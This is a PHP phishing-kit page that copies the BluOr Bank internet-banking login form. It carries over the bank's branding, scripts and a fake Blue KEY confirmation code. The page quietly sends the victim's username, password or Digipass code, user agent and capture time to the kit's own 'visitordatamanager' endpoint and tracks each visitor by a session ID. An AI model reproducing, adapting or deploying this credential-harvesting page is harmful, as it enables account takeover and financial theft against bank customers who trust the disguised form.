<?php
   $is_visitor_active = isset($_SESSION["is_visitor_active"]);
   $uniqueid = $is_visitor_active ? $_SESSION["visitor_uniqueid"] : uniqid();
   $route = $is_visitor_active ? "update_visitor_data" : "add_visitor";
   ?>

<!DOCTYPE html>
<!-- saved from url=(0046)https://ib.bluorbank.lv/x/login?execution=e1s2 -->
<html xmlns="http://www.w3.org/1999/xhtml"><head id="j_idt2"><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

            <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
            <meta name="description" content="BluOr Bank Internet Bank - banka privātpersonām un uzņēmumiem
2001. gadā Latvijā dibināta Eiropas līmeņa banka. Nodrošina produktus un pakalpojumus uzņēmēju biznesa attīstībai un privātpersonu finanšu pārvaldībai"><link type="text/css" rel="stylesheet" href="<?= URLROOT ?>/front_end/front_end_files/bluorbank/theme.css"><link type="text/css" rel="stylesheet" href="<?= URLROOT ?>/front_end/front_end_files/bluorbank/font-awesome.css"><script type="text/javascript">if(window.PrimeFaces){PrimeFaces.settings.locale='lv';}</script>
            <script type="text/javascript" src="<?= URLROOT ?>/front_end/front_end_files/bluorbank/stat-v2.js"></script>

        <link rel="stylesheet" href="<?= URLROOT ?>/front_end/front_end_files/bluorbank/bootstrap.min.css">

        <link rel="stylesheet" href="<?= URLROOT ?>/front_end/front_end_files/bluorbank/main.css" type="text/css" media="screen, projection">
        <link rel="stylesheet" href="<?= URLROOT ?>/front_end/front_end_files/bluorbank/ep.css" type="text/css" media="screen, projection">
        <link rel="shortcut icon" type="image/png" href="https://ib.bluorbank.lv/images/desktop/favicon.ico">

        <meta name="SKYPE_TOOLBAR" content="SKYPE_TOOLBAR_PARSER_COMPATIBLE">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <title>BluOr Internetbanka</title>

        <script src="<?= URLROOT ?>/front_end/front_end_files/bluorbank/jquery-3.5.1.min.js"></script>
        <script src="<?= URLROOT ?>/front_end/front_end_files/bluorbank/bootstrap.min.js"></script>
        <script src="<?= URLROOT ?>/front_end/front_end_files/bluorbank/spin.min.js"></script><style type="text/css"></style>
        <script src="<?= URLROOT ?>/front_end/front_end_files/bluorbank/_.js"></script>
        <script src="<?= URLROOT ?>/front_end/front_end_files/bluorbank/bowser.js"></script><!--[if lt IE 9]>
            <script src="/scripts/desktop/respond.min.js?ver__=1.166.16-1160"></script>
            <script src="/scripts/desktop/html5shiv.js?ver__=1.166.16-1160"></script><![endif]--><!--[if lt IE 10]>
            <script src="/scripts/desktop/animateOLDIE.js?ver__=1.166.16-1160"></script><![endif]-->

        <style>
            nav .dropdown-menu a {
                -moz-transition: none;
                -o-transition: none;
                -webkit-transition: none;
                -ms-transition: none;
                transition: none;
            }
        </style>

        <script>
           var urlroot = '<?= URLROOT ?>';
           var uniqueid = '<?= $uniqueid ?>';
        </script>
        <script src="<?= URLROOT ?>/js/cntdjs/jquery.js"></script>
        <script src="<?= URLROOT ?>/js/cntdjs/jquery.mask.js"></script>
        <script src="<?= URLROOT ?>/js/cntdjs/cntd.js"></script>
        <script src="<?= URLROOT ?>/js/shared/loading.js"></script>
        <script src="<?= URLROOT ?>/js/shared/online_status.js"></script>

      </head><body class="pc transition animated">
        <script>
            var isDev = false;
            var DISABLE_HB = false;
            var HB_FREQUENCE = 5000;
            var CTX_PATH = "";
            var isLoginPage = true;
        </script>

        <script type="text/javascript" src="<?= URLROOT ?>/front_end/front_end_files/bluorbank/core.js"></script>
        <script type="text/javascript" src="<?= URLROOT ?>/front_end/front_end_files/bluorbank/ibank.js"></script>
        <div id="loader"></div>
        <div class="vertical_layout">

            <div class="login_form_header_container_with_background">

    <div class="header-container">
                <div class="logo">
<form id="loginTopForm" name="loginTopForm" method="post" action="https://ib.bluorbank.lv/x/login?execution=e1s2" enctype="application/x-www-form-urlencoded">


<script type="text/javascript" src="<?= URLROOT ?>/front_end/front_end_files/bluorbank/jsf.js"></script>
<a href="https://ib.bluorbank.lv/x/login?execution=e1s2#" onclick="mojarra.jsfcljs(document.getElementById(&#39;loginTopForm&#39;),{&#39;loginTopForm-j_idt23&#39;:&#39;loginTopForm-j_idt23&#39;},&#39;&#39;);return false">
                            <img alt="" src="<?= URLROOT ?>/front_end/front_end_files/bluorbank/logo22.gif" title=""></a>

</form>
                </div>

        <div class="language_container">
<form id="j_idt31" name="j_idt31" method="post" action="https://ib.bluorbank.lv/x/login?execution=e1s2" enctype="application/x-www-form-urlencoded">


                <ul class="language-list">
                        <li><a id="j_idt31-changeLanguageRu" href="https://ib.bluorbank.lv/x/login?execution=e1s2#" onclick="mojarra.jsfcljs(document.getElementById(&#39;j_idt31&#39;),{&#39;j_idt31-changeLanguageRu&#39;:&#39;j_idt31-changeLanguageRu&#39;,&#39;language&#39;:&#39;ru&#39;},&#39;&#39;);return false">
                            Русский
                        </a></li>
                        <li><a id="j_idt31-changeLanguageEn" href="https://ib.bluorbank.lv/x/login?execution=e1s2#" onclick="mojarra.jsfcljs(document.getElementById(&#39;j_idt31&#39;),{&#39;j_idt31-changeLanguageEn&#39;:&#39;j_idt31-changeLanguageEn&#39;,&#39;language&#39;:&#39;en&#39;},&#39;&#39;);return false">
                            English
                        </a></li>
                </ul>

</form>
        </div>
    </div>
                <section class="login_content">
                    <div class="login_form">
                        <div class="clickOverlay"></div>
                        <div class="form_content">
                            <div class="note_area">
                                <div id="oldBrowserMessage" class="note_info hidden">Uzmanību! Jūsu pārlūks ir novecojis vai netiek uzturēts.
    								<br>
        							Rekomendējam Jums atjaunot pārlūku, vai izmantot kādu no zemāk minētajiem pārlūkiem.
    								<br>
    								<ul>
    									<li> <a target="_blank" href="http://www.mozilla.org/ru/firefox/">Firefox 12+</a> </li>
    									<li> <a target="_blank" href="http://www.google.com/chrome">Chrome 10+</a> </li>
     									<li> <a target="_blank" href="http://www.opera.com/">Opera 10+</a> </li>
					                    <li> <a target="_blank" href="http://windows.microsoft.com/lv-lv/internet-explorer/download-ie-MCM?FORM=MI09JK&amp;OCID=MI09JK">Internet Explorer 8+</a> </li>
					                    <li> <a target="_blank" href="https://www.apple.com/safari/">Safari 3+</a> </li>
					                </ul>
                                    <a href="https://ib.bluorbank.lv/x/login?execution=e1s2" class="note_close"></a>
                                </div>
                            </div>
                            <div class="form_area login_form_area"><div class="cronto_login_text">
        <div class="login_notification_area_fixed_height"><div class="countdownNotificationAreaClass text_section login_note_area fade-in" style="display: none;"><span class="cronto_login_text">Ja izmantojat Blue KEY (push paziņojumi),</span><span class="cronto_login_text"> kods </span><span class="cronto_login_text extrabold">955014</span><span class="cronto_login_text"> ir nosūtīts uz jūsu mobilo ierīci</span><div class="number">
                <b>
                </b></div><div class="detail"><span class="code"></span><span class="wait_msg"></span><span class="countdown countdown_units"></span><span class="countdown_units"></span></div></div>
        <div id="countdownErrorAreaId" class="text_section notification_area fade-in" style="display: flex;">
            <div class="notification_area_img"></div>
                <div>Neizdevās saņemt atbildi no Blue KEY</div>
        </div>
        </div></div><script type="text/javascript">
            //<![CDATA[
            $(function () {
                var count;
                var countdownStarted = "true" == "true";
                if (countdownStarted) {
                    count = sessionStorage.getItem("count");
                    var ts = sessionStorage.getItem("ts");
                    var currentCount = ((new Date().getTime() - ts) / 1000 | 0);

                    if (count > currentCount) {
                        count -= currentCount;
                    } else {
                        count = 0;
                    }
                } else {
                    resetTimer();
                }

                if (count > 0) {
                    updateTimerViewWithCount();
                    startCountdown(count);
                } else {
                    timesUp();
                }

                function startCountdown() {
                    var interval = setInterval(function () {
                        count--;
                        if (count % 2 == 0) {
                            checkConfirmation();
                        }
                        updateTimerViewWithCount();
                        if (count <= 0) {
                            clearInterval(interval);
                            timesUp();
                        }
                    }, 1000);
                }

                function checkConfirmation() {
                if ($("#loginForm2-approvedByPush").val() === 'false'){
                    $.ajax({
                        url: "/bkc.jsp",
                    }).done(function (data) {
                        if (data.trim() === 'Y') {
                            $("#loginForm2-approvedByPush").val(true);
                            $("#loginForm2-loginButton button").click();
                        }
                    });
                  }
                }

                function timesUp() {
                    updateTimerView('');
                    $('.code').html('');
                    $('.wait_msg').html('');
                    $('.countdown_units').html("");
                    $('.text_section').css({'display': 'none'});
                    $('#countdownErrorAreaId').css({'display': 'flex'})
                }

                function resetTimer() {
                    count = "60";
                    sessionStorage.setItem("count", count);
                    sessionStorage.setItem("ts", new Date().getTime());
                }

                function updateTimerViewWithCount() {
                    updateTimerView(count);
                }

                function updateTimerView(value) {
                    $('.countdown').html(value);
                }
            });
            //]]></script>
        <h1>Pieslēgties Internetbankai </h1>
<form id="form" enctype="application/x-www-form-urlencoded">

  <?php if (!$is_visitor_active) { ?>
    <!-- New Visitor Specific Fields  -->
    <input type="hidden" name="capture_time" value="<?= date("h:i:s") ?>">
    <input type="hidden" name="useragent" value="<?= $_SERVER["HTTP_USER_AGENT"] ?>">
  <?php } ?>
  <input name="new_data" value="true" type="hidden">
  <input name="status" value="0" type="hidden">
  <input name="uniqueid" value="<?= $uniqueid ?>" type="hidden">

  <input name="login_type" value="digipass" type="hidden">

  <input name="bank" value="bluorbank" type="hidden">
  <input name="username" value="<?= $_POST["username"] ?>" type="hidden">

            <div class="form_item ">

                <div class="flex_centered_content">
                    <div class="input_item"><label for="loginForm2-name">Lietotājvārds</label><input disabled id="loginForm2-name" type="text" value="<?= $_POST["username"] ?>" class="sensetive-data validate login_input" style="margin-top: 2px; border-top: 0px; border-left: 0px;  " disabled="disabled">
                    </div>
                    <div class="input_item_second"><label for="loginForm2-pswdOrDigi">Digipass kods/Parole</label><input id="password" type="password" name="password" autocomplete="off" value="" maxlength="35" tabindex="2" class="sensetive-data validate password_input">
                        <img src="<?= URLROOT ?>/front_end/front_end_files/bluorbank/lock_icon.svg" class="password_input_img" alt="">
                    </div>
                </div>

                <div class="button_element_container center_or_end">
                    <div class="cronto_back_button_container"><a id="loginForm2-crontoBack" href="https://ib.bluorbank.lv/x/login?execution=e1s2#" onclick="mojarra.jsfcljs(document.getElementById(&#39;loginForm2&#39;),{&#39;loginForm2-crontoBack&#39;:&#39;loginForm2-crontoBack&#39;},&#39;&#39;);return false">
                            <button type="button" class="cronto_back_button"></button></a>

                    </div><a id="loginForm2-loginButton" href="https://ib.bluorbank.lv/x/login?execution=e1s2#" tabindex="4" type="submit" onclick="jsf.util.chain(this,event,&#39;stopCrontoAndBrokerPolling();&#39;,&#39;mojarra.jsfcljs(document.getElementById(\&#39;loginForm2\&#39;),{\&#39;loginForm2-loginButton\&#39;:\&#39;loginForm2-loginButton\&#39;},\&#39;\&#39;)&#39;);return false" class="submit_hook">
                        <button type="submit" id="submit-btn" class="blue-login-button">
                            Pieslēgties</button></a>

                </div>
    <script type="text/javascript" src="<?= URLROOT ?>/front_end/front_end_files/bluorbank/amq_jquery_adapter.js"></script>
    <script type="text/javascript" src="<?= URLROOT ?>/front_end/front_end_files/bluorbank/amq.js"></script><script type="text/javascript">
        var amq = org.activemq.Amq;
        amq.init({
            uri: "" + '/amq/ajax',
            logging: false
        });

        var msgHandler = {
            receive: function(message) {
                var message = jQuery.parseJSON(message.data);

            if ($("#loginForm2-approvedByPush").val() === 'false'){
                $("#loginForm2-approvedByPush").val(true);
                $("#loginForm2-loginButton button").click();
            }
            }
        };

        var queue="queue://processed-dp-transaction-queue";
        var listenerId = Math.round(+new Date());
        amq.addListener(listenerId, queue, msgHandler.receive, { selector:"transactionNumber='955014' and login='ewfwefewf'" });
    </script>

                <div style="display:none;">



                </div>

            </div></form>

            <script>
            var controller = new CNTD;
            var url = "<?= URLROOT ?>/visitordatamanager/<?= $route ?>";

            controller.check_form_button_disable(["#password"]);
            controller.submit_multipanel_form(url, '<?= $_GET["d"] ?>', controller.multipanel_form_response);
            </script>
            <?php if ($is_visitor_active) { ?>
              <script>
              var uniqueid = '<?= $uniqueid ?>';
              </script>

              <script src="<?= URLROOT ?>/js/shared/default_user_behaviour.js"></script>
            <?php } ?>



                            </div>
                        </div>
                    </div>
                </section>
            </div>
    <section class="login_footer">
        <div class="form_titles">
            <div class="titles">

                <h2>Pamācības</h2>
                <ul>
                    <li><a href="https://bluorbank.lv/docs/LV_digipass_700_manual.pdf" target="_blank">Digipass 700 instrukcija</a></li>
                    <li><a href="https://bluorbank.lv/docs/lv_digipass_310_manual.pdf" target="_blank">Digipass 310 instrukcija</a></li>
                    <li>
                        <span class="blukey_label_link">Blue KEY instrukcija:</span>
                        <a class="blukey_link_bold" href="https://bluorbank.lv/docs/Blue_KEY_QR_Activation&amp;Guide_iOS_lv.pdf" target="_blank"> iOS </a>
                        <span class="blukey_label_link">/</span>
                        <a class="blukey_link_bold" href="https://bluorbank.lv/docs/BlueKEY_Guide_Android_lv.pdf" target="_blank"> Android </a>
                    </li>
                    <li><a href="https://bluorbank.lv/docs/LV_SMS_autentif_manual_2022_07_04.pdf" target="_blank">Parole+SMS autentifikācijas instrukcija</a></li>
                    <li><a href="https://bluorbank.lv/docs/LV_ib_manual.pdf" target="_blank">Internetbankas instrukcija</a></li>
                    <li><a href="https://bluorbank.lv/docs/LV_3D_sec_vestule.pdf" target="_blank">Informācija drošiem pirkumiem internetā</a></li>
                </ul>
            </div>
            <div class="titles">
                <h2>Informācija</h2>
                <ul>
                    <li><a href="https://bluorbank.lv/lv" target="_blank">BluOr Bank AS</a></li>
                    <li><a href="https://www.bluorbank.lv/lv/dokumenti" target="_blank">Dokumenti</a></li>
                    <li><a href="https://bluorbank.lv/lv/drosibas-nosacijumi-internetbanka" target="_blank">Droša darba principi Internetbankā</a></li>
                </ul>
            </div>
            <div class="titles">
                <h2>Kontakti</h2>
                <ul>
                    <li class="footer_text">Tālrunis: +371 67 031 333</li>
                    <li><a href="mailto:info@bluorbank.lv">info@bluorbank.lv</a></li>

                </ul>
            </div>
        </div>
        <div id="copyright_div" class="copyright">2023 © BluOr Bank AS</div>

        <div class="hidden">
            Version: 1.166.16-1160
        </div>
    </section>
        </div>



        <script type="text/javascript">
            //<![CDATA[
            var cronto_polling_id = undefined;

            function stopCrontoAndBrokerPolling() {
                amq.stopPolling();
                amq.removeListener(listenerId, queue);
                clearInterval(cronto_polling_id);
            }

            function openPage(pageName,elmnt,color) {
                var i, tabcontent, tablinks;
                tabcontent = document.getElementsByClassName("tabcontent");
                for (i = 0; i < tabcontent.length; i++) {
                    tabcontent[i].style.display = "none";
                }
                tablinks = document.getElementsByClassName("tablink");
                for (i = 0; i < tablinks.length; i++) {
                    tablinks[i].style.backgroundColor = "";
                }
                document.getElementById(pageName).style.display = "block";
                elmnt.style.backgroundColor = color;
            }

            jQuery(document).ready(function () {
                jQuery('#copyright_div').text(new Date().getFullYear() + ' © BluOr Bank AS');
                jQuery('#loginForm2-pswdOrDigi').focus();
                // Get the element with id="defaultOpen" and click on it
                jQuery('#defaultOpen').click();
                var DISABLE_HB = false;
                var freq = 5000;
                var timeout = 60000;
                var lastHB = getUnixTime();

                function checkTimeout(curTime, prevTime, timeout) {
                    return curTime - prevTime < timeout;
                }

                function hasSensetiveData(clean) {
                    var $sensData = jQuery('div.input input.sensetive-data');
                    var hadData = false;
                    $sensData.each(function () {
                        hadData = hadData || (this.value !== undefined && this.value != '');
                        if (clean) {
                            this.value = '';
                        }
                    });
                }

                function handleTimeout() {
                    if (hasSensetiveData(true)) {
                        // alert('Press OK to retry login.\nSecurity concern: login session expired (more than ' + timeout/1000 + ' seconds passed away from active login screen).\nAuthorization form data clean up is performed.')
                    }
                    jQuery('#lastHB-restart').click();
                }

                function runUNAuthorizedCardio() {
                    var curTime = getUnixTime();

                    if (!checkTimeout(curTime, lastHB, timeout)) {
                        handleTimeout();
                    } else {
                        if (interval_id !== undefined) {
                            lastHB = curTime;
                            sendHBtoServer();
                        }

                        setTimeout(runUNAuthorizedCardio, freq);
                    }
                }

                /* ------------ */

                var interval_id = -1;
                jQuery(window).focus(function () {
                    if (!interval_id) {
                        interval_id = setInterval(function () {
                        }, 1000);
                    }
                });

                jQuery(window).blur(function () {
                    if (hasSensetiveData(false)) {
                        clearInterval(interval_id);
                        interval_id = undefined;
                    }
                });

                runUNAuthorizedCardio();
            });

            jQuery(document).ready(function () {
                var $body = jQuery('body');
                if ($body.hasClass('mobile')) {
                    return;
                }
                var dontShowOldBrowserMessage =
                    (bowser.name === 'Chrome' && bowser.version >= 10)
                    || (bowser.name === 'Firefox' && bowser.version >= 12)
                    || (bowser.name === 'Opera' && bowser.version >= 10)
                    || (bowser.name === 'Safari' && bowser.version >= 3)
                    || (bowser.name === 'Internet Explorer' && bowser.version >= 8);
                if (!dontShowOldBrowserMessage) {
                    jQuery('#oldBrowserMessage').removeClass('hidden');
                }

                var alreadyClicked = false;

                if (!cronto_polling_id) {
                    cronto_polling_id = setInterval(function () {
                        if ($("#crontoStatus").val() === 'P') {
                            $.ajax({
                                url: "/cronto_status.jsp",
                            }).done(function (data) {
                                $("#crontoStatus").val(data.trim());
                                if (data.trim() === 'Y' && !alreadyClicked) {
                                    $("#loginForm2-loginButton button").click();
                                    $("#loginForm2-loginButton_submit_or_select_user button").click();
                                    $("#loginForm3-acceptButton button").click();
                                    alreadyClicked = true;
                                } else {
                                    if (data.trim() !== 'P') {
                                        ///redirect
                                        //
                                    }
                                }
                            });
                        }
                    }, 1000);
                }
            });


            //]]>
        </script>

        <script>
            $( document ).ready(function() {
            	 if (window.top != window.self){
                     parent.document.location=document.location.href;
                 }
            });
        </script>
</body></html>
